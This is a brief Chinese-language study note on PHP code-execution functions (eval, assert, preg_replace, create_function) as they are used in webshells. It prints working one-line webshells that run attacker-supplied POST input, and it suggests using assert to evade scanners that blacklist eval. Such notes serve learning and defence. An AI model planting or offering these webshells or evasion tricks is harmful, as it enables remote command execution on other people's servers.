执行函数:
1.eval函数将字符串作为php代码执行,如:<?php @eval($_POST['v']);?>
很多常见的webshell都是用eval来执行的
2.assert函数检查一个断言是否为FALSE.(也可把字符串作为PHP代码执行)
多数查杀软件把eval列入黑名单,所以用assert来代替eval来执行具体操作
3.mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
-
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
-
$replacement: 用于替换的字符串或字符串数组。
-
$subject: 要搜索替换的目标字符串或字符串数组。
-
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
-
$count: 可选,为替换执行的次数。
create_function(string $args,string $code) string $args 声明的函数变量部分 string $code 执行的方法代码部分
案例
<?php
$func =create_function('',$_POST['cmd']);
$func();
?></